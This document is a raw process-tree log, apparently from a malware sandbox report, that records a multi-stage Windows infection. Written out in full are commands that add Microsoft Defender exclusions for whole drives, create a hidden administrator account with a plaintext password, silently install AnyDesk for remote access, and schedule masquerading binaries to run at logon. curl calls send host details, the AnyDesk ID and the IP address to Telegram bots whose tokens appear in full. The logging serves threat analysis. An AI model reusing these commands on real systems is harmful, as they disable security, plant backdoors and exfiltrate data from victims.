C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\migration , c:\users\kbtgt\desktop , C:\Windows\tasks , C:\Windows , C:\Windows\Logs , C:\Windows\SysWOW64 , C:\Windows\System32\WindowsPowerShell\v1.0 , C:\ProgramData , C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe , powershell.exe , c:\
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4888

C:\programdata\1.exe
"C:\programdata\1.exe" /D
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4416

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\programdata\ru.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:4860

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /K "c:\programdata\st.bat"
3⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1640

C:\Windows\SysWOW64\chcp.com
chcp 65001
4⤵
PID:3752

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 10 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:4596

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" dir "C:\ProgramData\Microsoft\Windows Defender" "
4⤵
PID:2240

C:\Windows\SysWOW64\findstr.exe
findstr /i "Platform"
4⤵
PID:1240

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath c:\windows\migration\ , c:\users\kbtgt\desktop\ , C:\Windows\tasks\ , C:\Windows\ , C:\Windows\Logs\ , C:\Windows\SysWOW64\ , C:\Windows\System32\WindowsPowerShell\v1.0\ , C:\ProgramData\
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1476

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "IMAGENAME eq Superfetch.exe"
4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5980

C:\Windows\SysWOW64\find.exe
find /I /N "Superfetch.exe"
4⤵
PID:5992

C:\Windows\SysWOW64\takeown.exe
takeown /f c:\windows\tasks
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:6044

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 10 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:6064

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "*S-1-1-0:(R,REA,RA,RD)" "*S-1-5-7:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2316

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "SYSTEM:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5428

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "Administrators:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5624

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "Users:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5856

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "Admin:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3792

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "Admin:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:6012

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "EVERYONE:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:6016

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 10 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:5964

\??\c:\programdata\migrate.exe
c:\programdata\migrate.exe -p4432
4⤵
- Executes dropped EXE
- Checks computer location settings
- Drops file in Windows directory
PID:732

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\windows\tasks\run.bat" "
5⤵
PID:5556

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 1 /NOBREAK
6⤵
- Delays execution with timeout.exe
PID:4664

C:\windows\tasks\Wmiic.exe
"C:\windows\tasks\wmiic.exe" install WMService IntelConfigService.exe
6⤵
- Executes dropped EXE
PID:424

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 1 /NOBREAK
6⤵
- Delays execution with timeout.exe
PID:5260

C:\windows\tasks\Wmiic.exe
"C:\windows\tasks\wmiic" start WMService
6⤵
- Executes dropped EXE
PID:5484

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 5484 -s 440
7⤵
- Program crash
PID:4468

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 2 /NOBREAK
6⤵
- Delays execution with timeout.exe
PID:5888

C:\Windows\SysWOW64\net.exe
net start WMService
6⤵
PID:3584

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start WMService
7⤵
PID:3648

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 3 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:5124

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 60 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:4408

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "IMAGENAME eq Superfetch.exe"
4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:6068

C:\Windows\SysWOW64\find.exe
find /I /N "Superfetch.exe"
4⤵
PID:5960

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c WMIC CPU Get Name /Value|FindStr .
4⤵
PID:5388

C:\Windows\SysWOW64\findstr.exe
FindStr .
5⤵
PID:5616

C:\Windows\SysWOW64\Wbem\WMIC.exe
WMIC CPU Get Name /Value
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:3064

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c WMIC /Node:localhost Path Win32_VideoController Get Name /Value| FIND.EXE "="
4⤵
PID:1600

C:\Windows\SysWOW64\Wbem\WMIC.exe
WMIC /Node:localhost Path Win32_VideoController Get Name /Value
5⤵
PID:5008

C:\Windows\SysWOW64\find.exe
FIND.EXE "="
5⤵
PID:5856

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "IMAGENAME eq Superfetch.exe"
4⤵
- Enumerates processes with tasklist
PID:5432

C:\Windows\SysWOW64\find.exe
find /I /N "Superfetch.exe"
4⤵
PID:1476

\??\c:\windows\curl.exe
c:\windows\curl.exe --insecure --data chat_id="552691400" --data parse-mode=markdown --data-urlencode text="IYMUGYHLCORE2Intel Core Processor (Broadwell)Microsoft Basic Display AdapterSERVICE WMService RUN" "https://api.telegram.org/bot"5086556714:AAF7DbEW7CWKb1GEIy6_inxVlrGJ39JUUBM"/sendMessage"
4⤵
- Executes dropped EXE
PID:3584

C:\programdata\any.exe
"C:\programdata\any.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1328

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\programdata\any.bat" "
3⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1708

C:\Windows\SysWOW64\chcp.com
chcp 65001
4⤵
PID:3416

C:\Windows\SysWOW64\net.exe
net stop TaskSc
4⤵
- Suspicious use of WriteProcessMemory
PID:3708

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TaskSc
5⤵
PID:1188

C:\Windows\SysWOW64\net.exe
net stop TaskScs
4⤵
- Suspicious use of WriteProcessMemory
PID:3500

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TaskScs
5⤵
PID:4772

C:\Windows\SysWOW64\net.exe
net stop AnyDesk
4⤵
- Suspicious use of WriteProcessMemory
PID:3564

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AnyDesk
5⤵
PID:3736

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM anydesk.exe /F
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3844

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM wininit1.exe /F
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3792

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell cmd.exe /c C:\ProgramData\wsappz.exe --install C:\ProgramData\AnyDesk --start-with-win --silent
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4808

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\ProgramData\wsappz.exe --install C:\ProgramData\AnyDesk --start-with-win --silent
5⤵
PID:2416

C:\ProgramData\wsappz.exe
C:\ProgramData\wsappz.exe --install C:\ProgramData\AnyDesk --start-with-win --silent
6⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:460

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 10 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:5956

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell cmd.exe /c echo Pass32552
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5692

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c echo Pass32552
5⤵
PID:3300

C:\ProgramData\AnyDesk\AnyDesk.exe
C:\ProgramData\AnyDesk\anydesk.exe --set-password
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5540

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 10 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:5952

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell cmd.exe /c C:\ProgramData\AnyDesk\anydesk.exe --get-id
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5932

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\ProgramData\AnyDesk\anydesk.exe --get-id
5⤵
PID:5368

C:\ProgramData\AnyDesk\AnyDesk.exe
C:\ProgramData\AnyDesk\anydesk.exe --get-id
6⤵
- Executes dropped EXE
PID:5568

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 10 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:4900

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c find /n /v ""
4⤵
PID:4072

C:\Windows\SysWOW64\find.exe
find /n /v ""
5⤵
PID:5268

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "(new-object System.Net.WebClient).DownloadString('https://ipinfo.io/ip')"
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1720

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c find /n /v ""
4⤵
PID:220

C:\Windows\SysWOW64\find.exe
find /n /v ""
5⤵
PID:3144

\??\c:\windows\curl.exe
c:\windows\curl.exe --insecure --data chat_id="552691400" --data parse-mode=markdown --data-urlencode text="ANY_IYMUGYHL'id:'"367103419"'ip:'"154.61.71.51"" "https://api.telegram.org/bot"5513453963:AAEqmVGigjirKuykDiL7YHcdVrBQ72q07Ss"/sendMessage"
4⤵
- Executes dropped EXE
PID:5044

C:\Windows\SysWOW64\net.exe
net user oldadministrator "Pass32552" /add
4⤵
PID:5816

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user oldadministrator "Pass32552" /add
5⤵
PID:5704

C:\Windows\SysWOW64\net.exe
net localgroup Administrators oldadministrator /ADD
4⤵
PID:868

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup Administrators oldadministrator /ADD
5⤵
PID:888

C:\Windows\SysWOW64\net.exe
net localgroup administradores oldadministrator /add
4⤵
PID:4076

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administradores oldadministrator /add
5⤵
PID:1056

C:\Windows\SysWOW64\net.exe
net localgroup administratoren oldadministrator /add
4⤵
PID:1596

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administratoren oldadministrator /add
5⤵
PID:5808

C:\Windows\SysWOW64\net.exe
net localgroup administrateurs oldadministrator /add
4⤵
PID:4452

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrateurs oldadministrator /add
5⤵
PID:6036

C:\Windows\SysWOW64\net.exe
net localgroup администраторы oldadministrator /add
4⤵
PID:4504

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup администраторы oldadministrator /add
5⤵
PID:4520

C:\Windows\SysWOW64\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v oldadministrator /t REG_DWORD /d 0 /f
4⤵
PID:4416

C:\programdata\dc.exe
"C:\programdata\dc.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4584

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\runtimeMonitor\eW0NlR3z8rHah1r0tet2KhNAo.vbe"
3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4692

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\runtimeMonitor\PsYm20I.bat" "
4⤵
PID:4408

C:\runtimeMonitor\ComdriverSvc.exe
"C:\runtimeMonitor\ComdriverSvc.exe"
5⤵
- Modifies WinLogon for persistence
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4060

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4948

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1440

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1588

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2848

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1120

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2124

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1720

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/odt/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2104

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3936

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/runtimeMonitor/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:432

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1512

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2060

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4992

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\7peWjKJuHe.bat"
6⤵
PID:5016

C:\Windows\system32\w32tm.exe
w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
7⤵
PID:5724

C:\Program Files\Windows Mail\RuntimeBroker.exe
"C:\Program Files\Windows Mail\RuntimeBroker.exe"
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5400

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3700

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3940

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4396

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 7 /tr "'C:\odt\MoUsoCoreWorker.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2404

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorker" /sc ONLOGON /tr "'C:\odt\MoUsoCoreWorker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:952

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 8 /tr "'C:\odt\MoUsoCoreWorker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:372

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:772

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4432

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4252

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Windows Multimedia Platform\cmd.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4268

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Multimedia Platform\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4092

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Multimedia Platform\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:748

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 14 /tr "'C:\Users\Public\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3596

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Users\Public\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3144

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 14 /tr "'C:\Users\Public\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:540

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 9 /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1924

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4112

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:924

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 11 /tr "'C:\Program Files\7-Zip\Lang\Idle.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3368

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Program Files\7-Zip\Lang\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5072

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 7 /tr "'C:\Program Files\7-Zip\Lang\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4844

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 12 /tr "'C:\odt\Idle.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2144

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\odt\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1876

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 13 /tr "'C:\odt\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2884

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 12 /tr "'C:\Program Files\Windows Multimedia Platform\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4072

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files\Windows Multimedia Platform\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3512

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Multimedia Platform\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1152

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\Users\All Users\Templates\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2264

C:\ProgramData\AnyDesk\AnyDesk.exe
"C:\ProgramData\AnyDesk\AnyDesk.exe" --service
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3560

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Users\All Users\Templates\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4648

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 10 /tr "'C:\Users\All Users\Templates\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1276

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Windows Multimedia Platform\cmd.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4812

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Multimedia Platform\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3780

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Windows Multimedia Platform\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:404

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 14 /tr "'C:\odt\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3004

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\odt\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4272

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 8 /tr "'C:\odt\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4772

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Mail\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3100

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files\Windows Mail\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3588

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\Program Files\Windows Mail\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2412

C:\ProgramData\AnyDesk\AnyDesk.exe
"C:\ProgramData\AnyDesk\AnyDesk.exe" --control
1⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5356

C:\Windows\system32\werfault.exe
werfault.exe /hc /shared Global\707a9263011d4b33ac926570f36e0936 /t 3620 /p 3580
1⤵
PID:5732

C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1460

C:\windows\tasks\Wmiic.exe
C:\windows\tasks\Wmiic.exe
1⤵
- Executes dropped EXE
PID:2704

C:\windows\tasks\IntelConfigService.exe
"IntelConfigService.exe"
2⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of FindShellTrayWindow
PID:5984

C:\Windows\Tasks\Wrap.exe
C:\Windows\Tasks\Wrap.exe
3⤵
- Executes dropped EXE
PID:6044

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Windows\Tasks\ApplicationsFrameHost.exe" --daemonized
4⤵
PID:5936

C:\Windows\Tasks\ApplicationsFrameHost.exe
C:\Windows\Tasks\ApplicationsFrameHost.exe --daemonized
5⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5640

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c icacls C:\Windows\Tasks /deny "Users:(R,REA,RA,RD)"
3⤵
PID:4932

C:\Windows\system32\icacls.exe
